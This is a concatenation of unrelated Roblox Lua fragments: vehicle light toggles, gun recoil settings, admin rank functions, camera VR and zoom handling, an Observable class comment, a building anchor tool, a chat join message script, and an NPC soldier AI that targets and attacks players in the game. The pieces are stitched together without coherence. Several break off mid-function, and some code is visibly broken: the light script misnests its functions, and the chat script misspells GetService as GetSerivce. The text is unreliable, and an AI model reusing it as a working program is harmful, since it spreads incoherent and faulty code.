wait(0.05) local car = script.Parent.Parent.Car.Value local GBrake = script.Parent.Parent.Values.Brake function on() car.Body.Lights.Light.Material=Enum.Material.Neon car.Body.Lights.Light.Light.Enabled = true function off() car.Body.Lights.Light.Light.Enabled = false car.Body.Lights.Light.Material=Enum.Material.SmoothPlastic for i,v in pairs(car.Body.Lights:GetChildren()) do end end end function auto() if (game.Lighting:GetMinutesAfterMidnight()<390 or game.Lighting:GetMinutesAfterMidnight()>1050) then car.Body.Lights.Light.Material=Enum.Material.Neon car.Body.Lights.Light.Light.Enabled = true else car.Body.Lights.Light.Light.Enabled = false car.Body.Lights.Light.Material=Enum.Material.SmoothPlastic end end script.Parent.MouseButton1Click:connect(function() if script.Parent.Text == "Lights: Auto" then on() script.Parent.Text = "Lights: On" elseif script.parent.Text == "Lights: On" then script.Parent.Text = "Lights: Off" off() elseif script.parent.Text == "Lights: Off" then auto() script.Parent.Text = "Lights: Auto" end end) script.Parent.Parent.Values.Brake.Changed:connect(function() for i,v in pairs(car.Body.Lights:GetChildren()) do if v.Name=="R" then if v.Light.Enabled then if GBrake.Value>0 then v.Transparency=0 v.Light.Brightness=12 v.Light.Range=15 else v.Transparency=.3 v.Light.Brightness=8 v.Light.Range=10 end else v.Transparency=0 if GBrake.Value>0 then v.Material=Enum.Material.Neon else v.Material=Enum.Material.SmoothPlastic end end elseif v.Name=="RR" then if GBrake.Value>0 then v.Material=Enum.Material.Neon if v.Light.Enabled then v.Transparency=1 else v.Transparency=0 end else v.Transparency=1 if v.Light.Enabled then v.Material=Enum.Material.Neon else v.Material=Enum.Material.SmoothPlastic end end end end end) game.Lighting.Changed:connect(auto) auto()
--//Player//--
local Player = game.Players.LocalPlayer
--[=[ @return string Metamethod to transform the option into a string. ```lua local optA = Option.Some(64) local optB = Option.None print(optA) --> Option<number> print(optB) --> Option<None> ``` ]=]
function Option:__tostring() if self:IsSome() then return ("Option<" .. typeof(self._v) .. ">") else return "Option<None>" end end
-- SETUP ENUMS
local createEnum = Enum.createEnum for _, childModule in pairs(script:GetChildren()) do if childModule:IsA("ModuleScript") then local enumDetail = require(childModule) createEnum(childModule.Name, enumDetail) end end
------------------------------------------------------------------------------------
local WaitTime = 30 -- Change this to the amount of time it takes for the button to re-enable. local modelname = "Six Flags Tornado" -- If your model is not named this, then make the purple words the same name as the model!
---------------------------------------------------------------------------------------------------- -----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------ ----------------------------------------------------------------------------------------------------
,VRecoil = {7,10} --- Vertical Recoil ,HRecoil = {3,5} --- Horizontal Recoil ,AimRecover = .9 ---- Between 0 & 1 ,RecoilPunch = .15 ,VPunchBase = 5 --- Vertical Punch ,HPunchBase = 1.75 --- Horizontal Punch ,DPunchBase = 1 --- Tilt Punch | useless ,AimRecoilReduction = 1 --- Recoil Reduction Factor While Aiming (Do not set to 0) ,PunchRecover = 0.2 ,MinRecoilPower = 1 ,MaxRecoilPower = 3 ,RecoilPowerStepAmount = .5 ,MinSpread = 5 --- Min bullet spread value | Studs ,MaxSpread = 55 --- Max bullet spread value | Studs ,AimInaccuracyStepAmount = 2.5 ,WalkMultiplier = 0.25 --- Bullet spread based on player speed ,SwayBase = 0.25 --- Weapon Base Sway | Studs ,MaxSway = 1 --- Max sway value based on player stamina | Studs
-- << API >>
function hd:DisableCommands(player, boolean) if boolean then main.commandBlocks[player] = true local pdata = main.pd[player] if pdata and pdata.Donor then main:GetModule("Parser"):ParseMessage(player, "!unlasereyes", false) end else main.commandBlocks[player] = nil end end function hd:SetRank(player, rank, rankType) if tonumber(rank) == nil then rank = main:GetModule("cf"):GetRankId(rank) end if not player then return(errors.Player) elseif rank > 8 or (rank == 8 and player.UserId ~= main.ownerId) then return("Cannot set a player's rank above or equal to 5 (Owner)!") else main:GetModule("cf"):SetRank(player, main.ownerId, rank, rankType) end end function hd:UnRank(player) main:GetModule("cf"):Unrank(player) end function hd:GetRank(player) local pdata = main.pd[player] if not pdata then return 0, errors.Player else local rankId = pdata.Rank local rankName = main:GetModule("cf"):GetRankName(rankId) local rankType = main:GetModule("cf"):GetRankType(player) return rankId, rankName, rankType end end return hd
-- [[ VR Support Section ]] --
function BaseCamera:ApplyVRTransform() if not VRService.VREnabled then return end --we only want this to happen in first person VR local rootJoint = self.humanoidRootPart and self.humanoidRootPart:FindFirstChild("RootJoint") if not rootJoint then return end local cameraSubject = game.Workspace.CurrentCamera.CameraSubject local isInVehicle = cameraSubject and cameraSubject:IsA("VehicleSeat") if self.inFirstPerson and not isInVehicle then local vrFrame = VRService:GetUserCFrame(Enum.UserCFrame.Head) local vrRotation = vrFrame - vrFrame.p rootJoint.C0 = CFrame.new(vrRotation:vectorToObjectSpace(vrFrame.p)) * CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) else rootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) end end function BaseCamera:IsInFirstPerson() return self.inFirstPerson end function BaseCamera:ShouldUseVRRotation() if not VRService.VREnabled then return false end if not self.VRRotationIntensityAvailable and tick() - self.lastVRRotationIntensityCheckTime < 1 then return false end local success, vrRotationIntensity = pcall(function() return StarterGui:GetCore("VRRotationIntensity") end) self.VRRotationIntensityAvailable = success and vrRotationIntensity ~= nil self.lastVRRotationIntensityCheckTime = tick() self.shouldUseVRRotation = success and vrRotationIntensity ~= nil and vrRotationIntensity ~= "Smooth" return self.shouldUseVRRotation end function BaseCamera:GetVRRotationInput() local vrRotateSum = ZERO_VECTOR2 local success, vrRotationIntensity = pcall(function() return StarterGui:GetCore("VRRotationIntensity") end) if not success then return end local vrGamepadRotation = self.GamepadPanningCamera or ZERO_VECTOR2 local delayExpired = (tick() - self.lastVRRotationTime) >= self:GetRepeatDelayValue(vrRotationIntensity) if math.abs(vrGamepadRotation.x) >= self:GetActivateValue() then if (delayExpired or not self.vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2]) then local sign = 1 if vrGamepadRotation.x < 0 then sign = -1 end vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity) * sign self.vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = true end elseif math.abs(vrGamepadRotation.x) < self:GetActivateValue() - 0.1 then self.vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = nil end if self.turningLeft then if delayExpired or not self.vrRotateKeyCooldown[Enum.KeyCode.Left] then vrRotateSum = vrRotateSum - self:GetRotateAmountValue(vrRotationIntensity) self.vrRotateKeyCooldown[Enum.KeyCode.Left] = true end else self.vrRotateKeyCooldown[Enum.KeyCode.Left] = nil end if self.turningRight then if (delayExpired or not self.vrRotateKeyCooldown[Enum.KeyCode.Right]) then vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity) self.vrRotateKeyCooldown[Enum.KeyCode.Right] = true end else self.vrRotateKeyCooldown[Enum.KeyCode.Right] = nil end if vrRotateSum ~= ZERO_VECTOR2 then self.lastVRRotationTime = tick() end return vrRotateSum end function BaseCamera:CancelCameraFreeze(keepConstraints) if not keepConstraints then self.cameraTranslationConstraints = Vector3.new(self.cameraTranslationConstraints.x, 1, self.cameraTranslationConstraints.z) end if self.cameraFrozen then self.trackingHumanoid = nil self.cameraFrozen = false end end function BaseCamera:StartCameraFreeze(subjectPosition, humanoidToTrack) if not self.cameraFrozen then self.humanoidJumpOrigin = subjectPosition self.trackingHumanoid = humanoidToTrack self.cameraTranslationConstraints = Vector3.new(self.cameraTranslationConstraints.x, 0, self.cameraTranslationConstraints.z) self.cameraFrozen = true end end function BaseCamera:RescaleCameraOffset(newScaleFactor) self.headHeightR15 = R15_HEAD_OFFSET * newScaleFactor end function BaseCamera:OnHumanoidSubjectChildAdded(child) if child.Name == "BodyHeightScale" and child:IsA("NumberValue") then if self.heightScaleChangedConn then self.heightScaleChangedConn:Disconnect() end self.heightScaleChangedConn = child.Changed:Connect(function(newScaleFactor) self:RescaleCameraOffset(newScaleFactor) end) self:RescaleCameraOffset(child.Value) end end function BaseCamera:OnHumanoidSubjectChildRemoved(child) if child.Name == "BodyHeightScale" then self:RescaleCameraOffset(1) if self.heightScaleChangedConn then self.heightScaleChangedConn:Disconnect() self.heightScaleChangedConn = nil end end end function BaseCamera:OnNewCameraSubject() if self.subjectStateChangedConn then self.subjectStateChangedConn:Disconnect() self.subjectStateChangedConn = nil end if self.humanoidChildAddedConn then self.humanoidChildAddedConn:Disconnect() self.humanoidChildAddedConn = nil end if self.humanoidChildRemovedConn then self.humanoidChildRemovedConn:Disconnect() self.humanoidChildRemovedConn = nil end if self.heightScaleChangedConn then self.heightScaleChangedConn:Disconnect() self.heightScaleChangedConn = nil end local humanoid = workspace.CurrentCamera and workspace.CurrentCamera.CameraSubject if self.trackingHumanoid ~= humanoid then self:CancelCameraFreeze() end if humanoid and humanoid:IsA("Humanoid") then self.humanoidChildAddedConn = humanoid.ChildAdded:Connect(function(child) self:OnHumanoidSubjectChildAdded(child) end) self.humanoidChildRemovedConn = humanoid.ChildRemoved:Connect(function(child) self:OnHumanoidSubjectChildRemoved(child) end) for _, child in pairs(humanoid:GetChildren()) do self:OnHumanoidSubjectChildAdded(child) end self.subjectStateChangedConn = humanoid.StateChanged:Connect(function(oldState, newState) if VRService.VREnabled and newState == Enum.HumanoidStateType.Jumping and not self.inFirstPerson then self:StartCameraFreeze(self:GetSubjectPosition(), humanoid) elseif newState ~= Enum.HumanoidStateType.Jumping and newState ~= Enum.HumanoidStateType.Freefall then self:CancelCameraFreeze(true) end end) end end function BaseCamera:GetVRFocus(subjectPosition, timeDelta) local lastFocus = self.LastCameraFocus or subjectPosition if not self.cameraFrozen then self.cameraTranslationConstraints = Vector3.new(self.cameraTranslationConstraints.x, math.min(1, self.cameraTranslationConstraints.y + 0.42 * timeDelta), self.cameraTranslationConstraints.z) end local newFocus if self.cameraFrozen and self.humanoidJumpOrigin and self.humanoidJumpOrigin.y > lastFocus.y then newFocus = CFrame.new(Vector3.new(subjectPosition.x, math.min(self.humanoidJumpOrigin.y, lastFocus.y + 5 * timeDelta), subjectPosition.z)) else newFocus = CFrame.new(Vector3.new(subjectPosition.x, lastFocus.y, subjectPosition.z):lerp(subjectPosition, self.cameraTranslationConstraints.y)) end if self.cameraFrozen then -- No longer in 3rd person if self.inFirstPerson then -- not VRService.VREnabled self:CancelCameraFreeze() end -- This case you jumped off a cliff and want to keep your character in view -- 0.5 is to fix floating point error when not jumping off cliffs if self.humanoidJumpOrigin and subjectPosition.y < (self.humanoidJumpOrigin.y - 0.5) then self:CancelCameraFreeze() end end return newFocus end function BaseCamera:GetRotateAmountValue(vrRotationIntensity) vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity") if vrRotationIntensity then if vrRotationIntensity == "Low" then return VR_LOW_INTENSITY_ROTATION elseif vrRotationIntensity == "High" then return VR_HIGH_INTENSITY_ROTATION end end return ZERO_VECTOR2 end function BaseCamera:GetRepeatDelayValue(vrRotationIntensity) vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity") if vrRotationIntensity then if vrRotationIntensity == "Low" then return VR_LOW_INTENSITY_REPEAT elseif vrRotationIntensity == "High" then return VR_HIGH_INTENSITY_REPEAT end end return 0 end function BaseCamera:Test() print("BaseCamera:Test()") end function BaseCamera:Update(dt) warn("BaseCamera:Update() This is a virtual function that should never be getting called.") return game.Workspace.CurrentCamera.CFrame, game.Workspace.CurrentCamera.Focus end return BaseCamera
--[=[ Observables are like an [signal](/api/Signal], except they do not execute code until the observable is subscribed to. This follows the standard Rx API surface for an observable. Observables use a [Subscription](/api/Subscription) to emit values. ```lua -- Constucts an observable which will emit a, b, c via a subscription local observable = Observable.new(function(sub) print("Connected") sub:Fire("a") sub:Fire("b") sub:Fire("c") sub:Complete() -- ends stream end) local sub1 = observable:Subscribe() --> Connected local sub2 = observable:Subscribe() --> Connected local sub3 = observable:Subscribe() --> Connected sub1:Destroy() sub2:Destroy() sub3:Destroy() ``` Note that emitted values may be observed like this ```lua observable:Subscribe(function(value) print("Got ", value) end) --> Got a --> Got b --> Got c ``` Note that also, observables return a [MaidTask](/api/MaidTask) which should be used to clean up the resulting subscription. ```lua maid:GiveTask(observable:Subscribe(function(value) -- do work here! end)) ``` Observables over signals are nice because observables may be chained and manipulated via the Pipe operation. :::tip You should always clean up the subscription using a [Maid](/api/Maid), otherwise you may memory leak. ::: @class Observable ]=]
local require = require(script.Parent.loader).load(script) local Subscription = require("Subscription") local ENABLE_STACK_TRACING = false local Observable = {} Observable.ClassName = "Observable" Observable.__index = Observable
-- Animate
playAnimation.OnServerEvent:Connect(function(player, animation, speed) local animation = player.Character:WaitForChild("Humanoid"):LoadAnimation(animation) animation:Play() animation:AdjustSpeed(speed) tool.Unequipped:Connect(function() animation:Stop() end) end)
-- if script.Parent.DriveSeat.Lights.Value == true then --Headlight object; neons aren't affected by auto lighting -- script.Parent.Body.Lights.L.Light.Enabled = true -- else -- script.Parent.Body.Lights.L.Light.Enabled = false -- end
script.Parent.Body.Dash.Spd.G.Enabled = true --always on script.Parent.Body.Dash.Tac.G.Enabled = true end
------------------------------------------------------------------------ -- e.g. to compare with symbols, luaP:getOpMode(...) == luaP.OpCode.iABC -- * accepts opcode parameter as strings, e.g. "OP_MOVE" ------------------------------------------------------------------------
function luaP:getOpMode(m) return self.opmodes[self.OpCode[m]] % 4 end function luaP:getBMode(m) return math.floor(self.opmodes[self.OpCode[m]] / 16) % 4 end function luaP:getCMode(m) return math.floor(self.opmodes[self.OpCode[m]] / 4) % 4 end function luaP:testAMode(m) return math.floor(self.opmodes[self.OpCode[m]] / 64) % 2 end function luaP:testTMode(m) return math.floor(self.opmodes[self.OpCode[m]] / 128) end
--[=[ Requires all descendant ModuleScripts @param parent Instance -- Parent to scan @return {ModuleScript} -- Array of required modules ]=]
function Loader.LoadDescendants(parent: Instance): Modules local modules: Modules = {} for _,descendant in ipairs(parent:GetDescendants()) do if descendant:IsA("ModuleScript") then local m = require(descendant) table.insert(modules, m) end end return modules end return Loader
-- @Context Client/Server -- Yields for the database to fully load
function APILoadout.WaitForDatabase() while not Database.Loadouts do wait() end end
--[[Steering]]
Tune.SteerInner = 36 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 37 -- Outer wheel steering angle (in degrees) Tune.SteerSpeed = .5 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .5 -- Steering increment per tick (in degrees) Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS) Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent) Tune.MSteerExp = 1 -- Mouse steering exponential degree --Steer Gyro Tuning Tune.SteerD = 1000 -- Steering Dampening Tune.SteerMaxTorque = 50000 -- Steering Force Tune.SteerP = 100000 -- Steering Aggressiveness
-- END OF INSTALLATION
if Configuration.PrintingEnabled == false then else print("DOORS 👁️ Sound Pack: Done!") end script.Parent:Destroy()
--[[ The task.wait() calls below are placeholders for calling asynchronous functions that would load parts of your game. --]]
local ContentProvider = game:GetService("ContentProvider") local ReplicatedStorage = game:GetService("ReplicatedStorage")
-- Container for temporary connections (disconnected automatically)
local Connections = {}; function AnchorTool.Equip() -- Enables the tool's equipped functionality -- Start up our interface ShowUI(); BindShortcutKeys(); end; function AnchorTool.Unequip() -- Disables the tool's equipped functionality -- Clear unnecessary resources HideUI(); ClearConnections(); end; function ClearConnections() -- Clears out temporary connections for ConnectionKey, Connection in pairs(Connections) do Connection:Disconnect(); Connections[ConnectionKey] = nil; end; end; function ShowUI() -- Creates and reveals the UI -- Reveal UI if already created if UI then -- Reveal the UI UI.Visible = true; -- Update the UI every 0.1 seconds UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1); -- Skip UI creation return; end; -- Create the UI UI = Core.Tool.Interfaces.BTAnchorToolGUI:Clone(); UI.Parent = Core.UI; UI.Visible = true; -- References to UI elements local AnchorButton = UI.Status.Anchored.Button; local UnanchorButton = UI.Status.Unanchored.Button; -- Enable the anchor status switch AnchorButton.MouseButton1Click:Connect(function () SetProperty('Anchored', true); end); UnanchorButton.MouseButton1Click:Connect(function () SetProperty('Anchored', false); end); -- Update the UI every 0.1 seconds UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1); end; function UpdateUI() -- Updates information on the UI -- Make sure the UI's on if not UI then return; end; -- Check the common anchor status of selection local Anchored = Support.IdentifyCommonProperty(Selection.Parts, 'Anchored'); -- Update the anchor option switch if Anchored == true then Core.ToggleSwitch('Anchored', UI.Status); -- If the selection is unanchored elseif Anchored == false then Core.ToggleSwitch('Unanchored', UI.Status); -- If the anchor status varies, don't select a current switch elseif Anchored == nil then Core.ToggleSwitch(nil, UI.Status); end; end; function HideUI() -- Hides the tool UI -- Make sure there's a UI if not UI then return; end; -- Hide the UI UI.Visible = false; -- Stop updating the UI UIUpdater:Stop(); end; function SetProperty(Property, Value) -- Make sure the given value is valid if Value == nil then return; end; -- Start a history record TrackChange(); -- Go through each part for _, Part in pairs(Selection.Parts) do -- Store the state of the part before modification table.insert(HistoryRecord.Before, { Part = Part, [Property] = Part[Property] }); -- Create the change request for this part table.insert(HistoryRecord.After, { Part = Part, [Property] = Value }); end; -- Register the changes RegisterChange(); end; function BindShortcutKeys() -- Enables useful shortcut keys for this tool -- Track user input while this tool is equipped table.insert(Connections, UserInputService.InputBegan:Connect(function (InputInfo, GameProcessedEvent) -- Make sure this is an intentional event if GameProcessedEvent then return; end; -- Make sure this input is a key press if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then return; end; -- Make sure it wasn't pressed while typing if UserInputService:GetFocusedTextBox() then return; end; -- Check if the enter key was pressed if InputInfo.KeyCode == Enum.KeyCode.Return or InputInfo.KeyCode == Enum.KeyCode.KeypadEnter then -- Toggle the selection's anchor status ToggleAnchors(); end; end)); end; function ToggleAnchors() -- Toggles the anchor status of the selection -- Change the anchor status to the opposite of the common anchor status SetProperty('Anchored', not Support.IdentifyCommonProperty(Selection.Parts, 'Anchored')); end; function TrackChange() -- Start the record HistoryRecord = { Before = {}; After = {}; Selection = Selection.Items; Unapply = function (Record) -- Reverts this change -- Select the changed parts Selection.Replace(Record.Selection) -- Send the change request Core.SyncAPI:Invoke('SyncAnchor', Record.Before); end; Apply = function (Record) -- Applies this change -- Select the changed parts Selection.Replace(Record.Selection) -- Send the change request Core.SyncAPI:Invoke('SyncAnchor', Record.After); end; }; end; function RegisterChange() -- Finishes creating the history record and registers it -- Make sure there's an in-progress history record if not HistoryRecord then return; end; -- Send the change to the server Core.SyncAPI:Invoke('SyncAnchor', HistoryRecord.After); -- Register the record and clear the staging Core.History.Add(HistoryRecord); HistoryRecord = nil; end;
-- palys anim
function module.play2(anim,hum) local animation = hum.Animator:LoadAnimation(anim) animation:Play() end function module.loadAnimId(id, data) local anim = data.anim or nil if anim then anim.AnimationId = id end return anim end function module.loadnPlay(id, anim, hum) anim.AnimationId = id local animation = hum.Animator:LoadAnimation(anim) animation:Play() end
-- elseif input.UserInputType == self.activeGamepad and input.KeyCode == Enum.KeyCode.ButtonL3 then -- if (state == Enum.UserInputState.Begin) then -- self.L3ButtonDown = true -- elseif (state == Enum.UserInputState.End) then -- self.L3ButtonDown = false -- self.currentZoomSpeed = 1.00 -- end -- end
end function BaseCamera:DoKeyboardZoom(name, state, input) if not self.hasGameLoaded and VRService.VREnabled then return Enum.ContextActionResult.Pass end if state ~= Enum.UserInputState.Begin then return Enum.ContextActionResult.Pass end if self.distanceChangeEnabled and Players.LocalPlayer.CameraMode ~= Enum.CameraMode.LockFirstPerson then if input.KeyCode == Enum.KeyCode.I then self:SetCameraToSubjectDistance( self.currentSubjectDistance - 5 ) elseif input.KeyCode == Enum.KeyCode.O then self:SetCameraToSubjectDistance( self.currentSubjectDistance + 5 ) end return Enum.ContextActionResult.Sink end return Enum.ContextActionResult.Pass end function BaseCamera:BindAction(actionName, actionFunc, createTouchButton, ...) table.insert(self.boundContextActions, actionName) ContextActionService:BindActionAtPriority(actionName, actionFunc, createTouchButton, CAMERA_ACTION_PRIORITY, ...) end function BaseCamera:BindGamepadInputActions() self:BindAction("BaseCameraGamepadPan", function(name, state, input) return self:GetGamepadPan(name, state, input) end, false, Enum.KeyCode.Thumbstick2) self:BindAction("BaseCameraGamepadZoom", function(name, state, input) return self:DoGamepadZoom(name, state, input) end, false, Enum.KeyCode.DPadLeft, Enum.KeyCode.DPadRight, Enum.KeyCode.ButtonR3) end function BaseCamera:BindKeyboardInputActions() self:BindAction("BaseCameraKeyboardPanArrowKeys", function(name, state, input) return self:DoKeyboardPanTurn(name, state, input) end, false, Enum.KeyCode.Left, Enum.KeyCode.Right) self:BindAction("BaseCameraKeyboardZoom", function(name, state, input) return self:DoKeyboardZoom(name, state, input) end, false, Enum.KeyCode.I, Enum.KeyCode.O) end local function isInDynamicThumbstickArea(input) local playerGui = Players.LocalPlayer:FindFirstChildOfClass("PlayerGui") local touchGui = playerGui and playerGui:FindFirstChild("TouchGui") local touchFrame = touchGui and touchGui:FindFirstChild("TouchControlFrame") local thumbstickFrame = touchFrame and touchFrame:FindFirstChild("DynamicThumbstickFrame") if not thumbstickFrame then return false end local frameCornerTopLeft = thumbstickFrame.AbsolutePosition local frameCornerBottomRight = frameCornerTopLeft + thumbstickFrame.AbsoluteSize if input.Position.X >= frameCornerTopLeft.X and input.Position.Y >= frameCornerTopLeft.Y then if input.Position.X <= frameCornerBottomRight.X and input.Position.Y <= frameCornerBottomRight.Y then return true end end return false end
-- Client exposed GetPoints method:
function PointsService.Client:GetPoints(player) return self.Server:GetPoints(player) end
-- Triggers
rs.RenderStepped:Connect(onRenderStepped)
-- place this script into StarterPlayerScripts -- it will not work otherwise
local sm = Color3.fromRGB(45, 133, 165)--color of the message game:GetService('Players').PlayerAdded:Connect(function(plr) local message = (plr.Name..' has joined.') game.StarterGui:SetCore("ChatMakeSystemMessage", { Text = message; Font = Enum.Font.SourceSansBold; Color = sm; FontSize = Enum.FontSize.Size18; }) end) game:GetSerivce('Players').PlayerRemoving:Connect(function(plr) local message = (plr.Name..' has left. ):') game.StarterGui:SetCore("ChatMakeSystemMessage", { Text = message; Font = Enum.Font.SourceSansBold; Color = sm; FontSize = Enum.FontSize.Size18; }) end)
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
wait(.1) local people = script.Parent:GetChildren() for i = 1,#people do if people[i].className == "Part" then people[i].TopSurface = "Weld" people[i].BottomSurface = "Weld" people[i].LeftSurface = "Weld" people[i].RightSurface = "Weld" people[i].FrontSurface = "Weld" people[i].BackSurface = "Weld" end end
--Animations
local stabAnimation = myHuman:LoadAnimation(script.Parent.Stab) stabAnimation.Priority = Enum.AnimationPriority.Action local throwAnimation = myHuman:LoadAnimation(script.Parent.ThrowAnimation) throwAnimation.Priority = Enum.AnimationPriority.Action throwAnimation.Looped = false local reloadAnimation = myHuman:LoadAnimation(script.Parent.Reload) reloadAnimation.Priority = Enum.AnimationPriority.Action local reloading = false local weaponAimed = false local weaponCool = true local m4Equipped = false local knifeEquipped = false local grenadeCool = true local fullMag = 30 local mag = fullMag local allies = {script.Parent.Name} local potentialTargets = {} local activeAllies = {} function checkDist(part1,part2) return (part1.Position - part2.Position).Magnitude end function checkSight(target) local ray = Ray.new(barrel.Position, (target.Position - barrel.Position).Unit * 150) local part,position = workspace:FindPartOnRayWithIgnoreList(ray, {script.Parent}) local ray2 = Ray.new(myTorso.Position, (target.Position - myTorso.Position).Unit * 150) local part2,position2 = workspace:FindPartOnRayWithIgnoreList(ray2, {script.Parent}) if part and part2 then if part:IsDescendantOf(target.Parent) and part2:IsDescendantOf(target.Parent) then return true end end return false end function findTarget() local dist = 85 local target = nil potentialTargets = {} local seeTargets = {} for _,v in ipairs(workspace:GetChildren()) do local human = v:FindFirstChild("Humanoid") local torso = v:FindFirstChild("Torso") or v:FindFirstChild("HumanoidRootPart") if human and torso and v ~= script.Parent then if (myTorso.Position - torso.Position).magnitude < dist and human.Health > 0 then for i,x in ipairs(allies) do if x == v.Name then table.insert(activeAllies,torso) break elseif i == #allies then table.insert(potentialTargets,torso) end end end end end if #potentialTargets > 0 then for i,v in ipairs(potentialTargets) do if checkSight(v) then table.insert(seeTargets,v) end end if #seeTargets > 0 then for i,v in ipairs(seeTargets) do if (myTorso.Position - v.Position).magnitude < dist then target = v dist = (myTorso.Position - v.Position).magnitude end end else for i,v in ipairs(potentialTargets) do if (myTorso.Position - v.Position).magnitude < dist then target = v dist = (myTorso.Position - v.Position).magnitude end end end end return target end function pathToLocation(target) local path = game:GetService("PathfindingService"):CreatePath() path:ComputeAsync(myTorso.Position, target.Position) local waypoints = path:GetWaypoints() for _,waypoint in ipairs(waypoints) do if waypoint.Action == Enum.PathWaypointAction.Jump then myHuman.Jump = true end myHuman:MoveTo(waypoint.Position) delay(0.5,function() if myHuman.WalkToPoint.Y > myTorso.Position.Y then myHuman.Jump = true end end) local moveSuccess = myHuman.MoveToFinished:Wait() if not moveSuccess or checkSight(target) then break end end end function walkRandom() local rallyPoint = workspace.RallyPoints:GetChildren()[math.random(1,#workspace.RallyPoints:GetChildren())] local randX = rallyPoint.Position.X local randZ = rallyPoint.Position.Z local goal = myTorso.Position + Vector3.new(randX, 0, randZ) local path = game:GetService("PathfindingService"):CreatePath() path:ComputeAsync(myTorso.Position, goal) local waypoints = path:GetWaypoints() if path.Status == Enum.PathStatus.Success then for i,waypoint in ipairs(waypoints) do if waypoint.Action == Enum.PathWaypointAction.Jump then myHuman.Jump = true end myHuman:MoveTo(waypoint.Position) delay(0.5,function() if myHuman.WalkToPoint.Y > myTorso.Position.Y then myHuman.Jump = true end end) local moveSuccess = myHuman.MoveToFinished:Wait() if not moveSuccess then break end if i % 5 == 0 then if findTarget() then break end end end else wait(2) end end function drawM4() yieldKnife() if m4Equipped == false then m4Equipped = true equipSound:Play() --Right Arm Setup rShoulder.Part1 = nil rArm.CFrame = aimer.CFrame * CFrame.new(1.25,0.05,-0.65) * CFrame.Angles(math.rad(80),math.rad(0),math.rad(-10)) rArmWeld.Part1 = rArm --Left Arm Setup lShoulder.Part1 = nil lArm.CFrame = aimer.CFrame * CFrame.new(-0.35,0.05,-1.48) * CFrame.Angles(math.rad(84),math.rad(-3),math.rad(28)) lArmWeld.Part1 = lArm --M4 Setup m4Weld.Part0 = nil m4.CFrame = aimer.CFrame * CFrame.new(0.65,0.37,-2.22) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)) m4Weld.Part0 = aimer end end function yieldM4() if weaponAimed == true then weaponAimed = false resetHead() end if m4Equipped == true then m4Equipped = false equipSound:Play() --Right Arm setup rArmWeld.Part1 = nil rShoulder.Part1 = rArm --Left Arm Setup lArmWeld.Part1 = nil lShoulder.Part1 = lArm --M4 Setup m4Weld.Part0 = nil m4.CFrame = myTorso.CFrame * CFrame.new(0,0,0.6) * CFrame.Angles(math.rad(-90),math.rad(-60),math.rad(90)) m4Weld.Part0 = myTorso end end function drawKnife() yieldM4() if knifeEquipped == false then knifeEquipSound:Play() knifeEquipped = true knifeWeld.Part0 = nil knife.CFrame = rArm.CFrame * CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(90),math.rad(180),math.rad(180)) knifeWeld.Part0 = rArm end end function yieldKnife() if knifeEquipped == true then knifeEquipped = false knifeWeld.Part0 = nil knife.CFrame = myTorso.CFrame * CFrame.new(-1,-1,0.5) * CFrame.Angles(math.rad(-65),0,math.rad(180)) knifeWeld.Part0 = myTorso end end function aim(target) if weaponAimed == false then neck.C0 = neck.C0 * CFrame.Angles(0,math.rad(-15),0) end weaponAimed = true for i=0,1,0.1 do wait() local look = Vector3.new(target.Position.X,myTorso.Position.Y,target.Position.Z) myTorso.CFrame = myTorso.CFrame:Lerp(CFrame.new(myTorso.Position,look),i) if reloading == false then aimerWeld.Part1 = nil aimer.CFrame = aimer.CFrame:Lerp(CFrame.new((myTorso.CFrame * CFrame.new(0,0.5,0)).p,target.Position),i) aimerWeld.Part1 = aimer neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-1.5 + math.rad(aimer.Orientation.X),math.rad(15),math.rad(180)) end end end function resetHead() game:GetService("TweenService"):Create(neck,TweenInfo.new(0.2),{C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(-90),0,math.rad(180))}):Play() end function shoot(target) if weaponCool == true and reloading == false then weaponCool = false local shot if checkDist(target,myTorso) > 60 then shot = 1 else shot = 3 end for i = 1, shot do wait(0.1) mag = mag - 1 local flash = Instance.new("PointLight",barrel) flash.Brightness = 3 game:GetService("Debris"):AddItem(flash,0.1) local min = -2 local max = 2 local activecast = Caster:Fire(barrel.Position, ((target.Position + Vector3.new(math.random(min,max),math.random(min,max),math.random(min,max))) - barrel.Position).Unit, 1000, FastStats) fireSound:Play() aimerWeld.Part1 = nil aimer.CFrame = aimer.CFrame * CFrame.Angles(math.rad(math.random(1,4)/4),0,0) aimerWeld.Part1 = aimer end if mag <= 0 then reload() end delay(1, function() weaponCool = true end) end end function reload() if weaponAimed == true then resetHead() weaponAimed = false end reloadSound:Play() reloading = true yieldM4() m4Weld.Part0 = nil m4.CFrame = lArm.CFrame * CFrame.new(0.6,-1.3,0.2) * CFrame.Angles(math.rad(180),0,0) m4Weld.Part0 = lArm reloadAnimation:Play() reloadAnimation:AdjustSpeed(3) reloadAnimation.Stopped:Wait() reloading = false mag = fullMag drawM4() end function stab(target) if weaponCool == true then weaponCool = false knifeStabSound:Play() knifeAttackSound:Play() stabAnimation:Play() local human = target.Parent.Humanoid human:TakeDamage(math.random(30,50)) if human.Health <= 0 then wait(0.2) end delay(0.5,function() weaponCool = true end) end 